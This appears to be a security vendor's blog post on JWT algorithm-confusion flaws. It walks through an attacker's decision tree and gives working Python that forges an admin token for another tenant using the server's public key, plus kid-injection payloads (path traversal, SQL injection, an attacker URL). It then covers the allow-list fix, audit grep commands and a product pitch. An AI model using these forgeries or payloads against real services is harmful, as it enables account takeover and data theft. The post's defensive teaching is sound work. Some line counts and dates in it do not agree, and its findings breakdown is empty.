← Back to Attack Research

Why JWT alg-confusion still works in 2026, and how attackers find your weakest token validation

Five new alg-confusion CVEs landed in Q1 2026 alone — CVSS 8.2 to 9.1, working PoCs on day one. The pattern is fifteen years old. The libraries that ship with it are everywhere. Here's the attacker decision tree, and the one-line validation rule that ends the class.

An attacker copies your JWT out of their browser. Changes the alg header from RS256 to HS256. Signs it with your public RSA key — the one served from your /.well-known/jwks.json. Sends it back. Your auth library says: "valid signature." They are now your CFO. The pattern was first published in 2015. CVE-2015-9235 documented it in node-jsonwebtoken. Eleven years later, in Q1 2026 alone, the same root cause produced five new high-severity CVEs across fast-jwt (CVSS 9.1), Hono (CVSS 8.2), Keycloak, jose-swift, and HarbourJwt. This piece walks the decision tree your attacker uses to find the weakest validator in your stack — and the one-line guarantee that closes the class.

JWT alg-confusion is the canonical case of a security primitive whose specification hands the attacker the key. RFC 7519 says the JWT header MAY contain an alg claim that tells the verifier which algorithm to use. The verifier reads it. The attacker controls it. Every alg-confusion bug since 2015 is some version of that specification's gift — trust-the-token-to-tell-you-how-to-validate-the-token — meeting a library that took the specification literally.

This is the second piece in our attack-research series. The first walked SSRF into cloud metadata as a class. This one walks JWT alg-confusion the same way. By the end you should be able to grep your codebase, audit your auth library, and ship a single-line validator change that makes the attack class structurally impossible against your service. Verifiable security.

The attack pattern in one paragraph

Your service issues a JWT. The token has three parts: a header (which includes the alg field), a payload (claims like sub, exp, email), and a signature. To verify, your library reads the header to learn the algorithm, then runs the appropriate signature check using the appropriate key material. Two algorithm families matter for this attack: asymmetric (RS256, ES256, PS256) which use a private signing key and a public verification key; and symmetric (HS256, HS384, HS512) which use a single shared secret for both. The confusion arises because some libraries, when handed a token with alg: HS256, will look up the configured public key and use it as the HMAC secret. The attacker, who can fetch your public key from /.well-known/jwks.json or from the certificate served by your TLS endpoint, signs a forged token with HMAC-SHA256 using that public key as the secret. The library validates it. Game over.

The variant cluster around the same root cause: the token's own header decides how the verifier validates it. There are at least four distinct exploit paths within that family.

Why this still ships in 2026

If the pattern is eleven years old, why are five fresh CVEs landing in a single quarter? Three structural reasons:

  1. The spec lets it. RFC 7519 does not require the verifier to ignore the alg header. It does not require an algorithm allow-list at the verifier. It does not forbid alg: none. RFC 8725 (BCP 225, "JSON Web Token Best Current Practices," published 2020) does say all of these things, but as best practice, not as protocol-mandatory. Library authors who read the original spec and not the BCP ship vulnerable code.
  2. The library ecosystem is enormous. Every web framework in every language has at least one JWT library. There are thirty-plus implementations across Node, Python, Go, Rust, Java, .NET, PHP, Ruby, Swift, Kotlin. Each one independently re-implements the algorithm-dispatch logic. Each one independently makes (or fails to make) the design call to type-separate symmetric secrets from asymmetric public keys. Red Sentry's 2026 JWT vulnerability roundup tracks the cluster across forty-plus libraries.
  3. The integrators do not configure the validator. Even libraries that support an algorithm allow-list usually require the integrator to pass it explicitly. The README example does not include it. The Stack Overflow answer does not include it. The internal cookbook example was written in 2017. The default is "trust the token." The configuration that closes the attack class is one parameter away — and that one parameter is missing.

The attacker decision tree

ATTACKER DECISION TREE JWT Alg Confusion ┌──────────────────────────────────────┐ │ 1. Capture a valid JWT │ │ - log into the app legitimately │ │ - inspect Authorization header │ │ - copy the token │ └──────────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ 2. Decode and read the alg header │ │ RS256? ES256? HS256? PS256? │ │ unknown / "none" worth a try │ └──────────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ 3. Try the four primary variants │ │ a) alg: none │ │ → strip signature, send │ │ b) alg: HS256 + public key │ │ → fetch /.well-known/jwks.json│ │ → use the n,e values to │ │ reconstruct the PEM │ │ → sign forged token │ │ c) kid injection │ │ → ../../etc/hostname, │ │ → ' UNION SELECT ..., │ │ → http://attacker/ │ │ d) unknown alg │ │ → alg: nothing, alg: foo │ └──────────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ 4. Modify the payload claims │ │ - sub: │ │ - role: admin │ │ - tenant: │ │ - exp: now + 30 days │ └──────────────┬───────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ 5. Re-sign and replay │ │ → if accepted, full takeover │ └──────────────────────────────────────┘

The five-step decision tree an attacker walks against any JWT-protected endpoint.

The crucial observation about step 3 is that an attacker does not need to guess which variant works. They try all four in roughly 90 seconds with a script. The first variant that returns a 200 instead of a 401 is the win. The whole exercise is cheap, fast, and scriptable. Public tooling like jwt_tool automates the entire decision tree end to end.

A composite real-world scenario

The setting is a B2B SaaS platform — a multi-tenant data analytics product, ten thousand customer organisations, mid-market focus. The platform issues JWTs as session tokens after login. Tokens carry the org_id claim that scopes data visibility, and a role claim that gates admin endpoints. The auth library is a popular Node.js JWT package, configured to read alg from the token header.

An attacker signs up for a free trial of the product using a throwaway email and a fresh corp domain. They get assigned org_id: ORG-99481. They log in, capture the JWT in dev tools, decode the header. alg: RS256. They visit https://analytics.target.example/.well-known/jwks.json, pull the JWK, and reconstruct the public-key PEM with three lines of Python.

import json, base64
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization

jwk = json.load(open('jwks.json'))['keys'][0]
def b64u(b): return int.from_bytes(base64.urlsafe_b64decode(b + '=='), 'big')
pub = RSAPublicNumbers(b64u(jwk['e']), b64u(jwk['n'])).public_key()
pem = pub.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
open('pubkey.pem','wb').write(pem)

Five lines of Python and a thirty-second curl later, they have the public key as a PEM file on disk. Now they swap the alg header to HS256, swap their org_id claim to ORG-00001 (which they guess is their target's largest customer), and sign the new token using the PEM file's bytes as the HMAC secret.

import jwt, json
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "sub": "00000000-attacker",
    "org_id": "ORG-00001",          # target customer
    "role": "admin",                # was "viewer"
    "exp": 1799999999,
    "iat": 1746360000,
}
secret = open('pubkey.pem','rb').read()
token = jwt.encode(payload, secret, algorithm="HS256", headers=header)
print(token)

They paste the token into their browser's local storage as auth_token. They reload the analytics dashboard. They are now logged in as an admin of the target customer's tenant. Forty seconds, start to finish.

The reason it works: the JWT library on the server reads alg: HS256 from the token header, looks up the configured key (the RSA public key, which the integrator passed into the verifier as a generic "key" parameter), and runs HMAC-SHA256(public_key_bytes, token). It compares the result to the attacker's signature and gets a match. The library says: valid. The application trusts the claims. The data exfiltration begins.

What we observe in customer environments

We are honest about the limits of our visibility. CelvexGroup's continuous validation runs against assets the customer flags into our scope; we are not auditing every JWT validator in their codebase. What we do probe externally, on every web-facing token-using endpoint, is the four-variant decision tree above. Across customer engagements in the past nine months, the rough breakdown is:

The honest read: this is the highest-frequency exploitable auth bug we find on external-facing services, by a significant margin. It is also the cheapest to fix.

What to do about it — the validator contract

The fix is one line in the verifier configuration, plus a short list of secondary controls that close the variant tree. We summarise as a contract every JWT validator in your stack should satisfy.

JWT validator contract — six controls that end the class

Pass an explicit algorithm allow-list to every verifier call. One parameter. Audit your codebase by Friday. The grep is fifteen seconds.

The grep, in concrete terms, is roughly:

# Node
$ grep -rE "jwt\.(verify|decode)" --include="*.js" --include="*.ts" .

# Python
$ grep -rE "jwt\.(decode|encode|get_unverified_header)" --include="*.py" .

# Go
$ grep -rE "jwt\.(Parse|ParseWithClaims|Verify)" --include="*.go" .

Read each call site. Confirm an explicit algorithm parameter is passed. Confirm the algorithm value is a list, not a single string. Confirm there is no fallback path that strips the algorithm constraint. The exercise is finishable in an afternoon for any codebase under a million lines.

How Celvex catches this

Find. Prove. Fix. Verify.

Find

The scanner identifies JWT-using endpoints by Authorization-header pattern, captures a legitimate token, decodes the alg, fetches the JWKS, and probes the four-variant decision tree.

Prove

For confirmed exposures, we ship a Proof Capsule with the forged token, the exact request that succeeded, and a replay script that reproduces the bypass against the customer's own staging.

Fix

The Capsule's remediation block points at the validator-contract checklist scoped to the affected library and version: which option to pass, which version to upgrade to, which line in the codebase to edit.

Verify

After the fix lands, replay returns 401 instead of 200. The finding closes automatically. The dashboard records the verified-fix event for the auditor record.

Where we sit on the autonomy curve: at L1.5 today, our scanner has a tagged corpus for the four-variant decision tree across the major JWT-using protocols (OAuth, OIDC, custom session JWTs). At L2 within 90 days, the corpus extends to kid-injection variants with synthesised path-traversal and SQL-injection payloads scoped to the specific lookup behaviour we fingerprint. At L3 within twelve months, the scanner mutates the variant tree to fit unfamiliar JWT validators discovered in customer environments, including private-issuer JWS profiles and proprietary JOSE extensions. We do not claim L3 capability today. We do claim that our L1.5 today catches the four primary variants reliably and ships a reproducible Capsule for each.

Bottom line

JWT alg-confusion is the highest-frequency exploitable auth bug on the modern web, fifteen years after it was first published. The reason is not technical complexity. It is that the spec lets the token tell the verifier how to verify, that the library ecosystem ships dozens of independent implementations of that dispatch logic, and that the configuration which closes the class is optional in most of them. The fix is a one-line allow-list in the validator configuration. The exercise of auditing every validator call site in your codebase is finishable in one afternoon. Until that afternoon, every JWT-protected endpoint in your stack is one curl + one signing call away from full session takeover.

Verifiable security. Find it. Prove it. Fix it. Verify the fix held. That is what we ship.

Sources

Probe your own JWT validators.

Free Exposure Check — no signup required. We probe every public-facing JWT-using endpoint against the four-variant decision tree and ship a Proof Capsule for the highest-confidence finding.

Run a Free Scan →